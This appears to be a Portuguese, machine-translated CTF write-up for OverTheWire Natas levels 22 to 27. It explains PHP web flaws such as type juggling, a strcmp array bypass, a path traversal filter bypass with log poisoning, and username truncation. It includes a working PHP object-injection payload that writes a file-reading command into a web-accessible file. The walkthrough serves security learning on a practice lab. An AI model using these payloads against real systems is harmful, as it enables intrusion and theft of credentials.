
Neste artigo, trataremos da operação de algumas identidades da WEB usando o jogo de guerra
Natas como exemplo. Cada nível tem acesso à senha do próximo nível. Todas as senhas também são armazenadas nos arquivos / etc / natas_webpass /. Por exemplo, a senha para natas5 é armazenada no arquivo / etc / natas_webpass / natas5 e é somente leitura para usuários natas4 e natas5.
Partes passadas:
parte 1 ,
parte 2 e
parte 3 .
Informações OrganizacionaisEspecialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:
- PWN;
- criptografia (criptografia);
- tecnologias de rede (rede);
- reverso (engenharia reversa);
- esteganografia (estegano);
- pesquisa e exploração de vulnerabilidades na WEB.
Além disso, compartilharei minha experiência em análise forense de computadores, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.
Para que você possa descobrir sobre novos artigos, software e outras informações, criei um
canal no Telegram e um
grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações
pessoais e responderei a todos .
Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.
nível 22
Após analisar o código fonte, fica claro que veremos a senha se o parâmetro revelio GET não estiver vazio.

Mas, na primeira verificação, se a sessão de administrador não estiver instalada, somos redirecionados para esta página sem parâmetros.

Você só precisa usar o agente da Web e não um navegador, por exemplo, curl.


Tiramos a senha.
nível 23
Analisamos o código fonte. A função strstr (s1, s2) retorna uma substring de s1 que começa com s2. O php também lança tipos automaticamente. Ou seja, ao compará-lo, ele levará a string a um número e descartará caracteres extras.

A string "11iloveyou" será adequada para nossa condição. Na primeira verificação, ele retorna "iloveyou", ou seja, True. Na segunda verificação, 11> 10, ou seja, True.

nível 24
Este nível também contém um erro lógico. A condição é verdadeira de qualquer maneira, se strcmp retornar FALSE. Mas o strcmp retornará FALSE, mesmo em caso de erro.

Embora o php projete tipos automaticamente, ele não é capaz de converter um array em uma string. Para fazer isso, abra o código fonte da página e altere o nome do campo de "passwd" para "passwd []".

Nós enviamos qualquer linha.

Tiramos a senha.
nível 25
Ao analisar o código-fonte, o mais interessante é a função logRequest (), que processa os campos que o usuário pode controlar. Este é o cabeçalho HTTP do User_Agent e o cookie session_id.



Vale a pena considerar que todas as seqüências “../” são excluídas da string, mas isso pode ser feito por: “... /. /” => “../”.
Idéia da solução: Como o caminho para registrar logs depende do session_id, que podemos controlar, e escolhendo o idioma de exibição, o caminho no servidor é selecionado - devido ao LFI, podemos ler o arquivo de log.




Agora resta escrever a senha de / etc / natas_webpass / natas26 em nosso arquivo de log. Como nosso agente da Web é gravado primeiro e depois gerado a partir do arquivo, adicionaremos o código php a esse campo.


Nós obtemos a senha.
nível 26
Neste exemplo, há uma vulnerabilidade muito séria - a desserialização não filtrada de objetos. A função unserialize () pega uma variável serializada e a converte novamente em um objeto PHP.

O valor convertido é retornado, que pode ser inteiro, flutuante, sequência, matriz ou objeto. I.e. Você pode executar qualquer código. A classe Logger, quando criada, grava certas informações no arquivo.

A ideia é a seguinte:
- Reescreva a classe Logger, onde, em vez de uma das mensagens, estará contido um código php que produzirá uma senha.
- Codifique-o em Base64.
- Cole no cookie.
- Acesse o arquivo de log.
- Tire a senha.
<?php class Logger{ private $logFile; private $initMsg; private $exitMsg; function __construct($file){ $this->initMsg="<? passthru('cat /etc/natas_webpass/natas27'); ?>"; $this->exitMsg="<? passthru('cat /etc/natas_webpass/natas27'); ?>"; $this->logFile = "img/phpobjinj.php"; } function log($msg){ ; } function __destruct(){ ; } } $obj = new Logger("obj"); echo urlencode(base64_encode(serialize($obj))); ?>



Nós obtemos a senha.
nível 27
Este serviço fornece dados do usuário. Mas se o usuário não existir, ele o cria com o nome de usuário e senha especificados.

O problema é que, após a criação do usuário, o serviço não verifica sua senha no login. Ao mesmo tempo, apenas os primeiros 64 caracteres do logon e senha após a filtragem caem no banco de dados. Além disso, sabemos o nome de usuário: natas28.

Crie um usuário com uma senha e um nome vazios: "natas28_60-spaces_ any-character". (Portanto, durante a verificação, não haverá correspondência com o usuário natas28, mas durante a criação, ele será filtrado e adicionado ao banco de dados. Ou seja, a senha não será verificada na próxima chamada).


Nós usamos o nome natas28 e uma senha vazia. Nós obtemos os dados do usuário natas28.
Para ser continuado. Você pode se juntar a nós no
Telegram .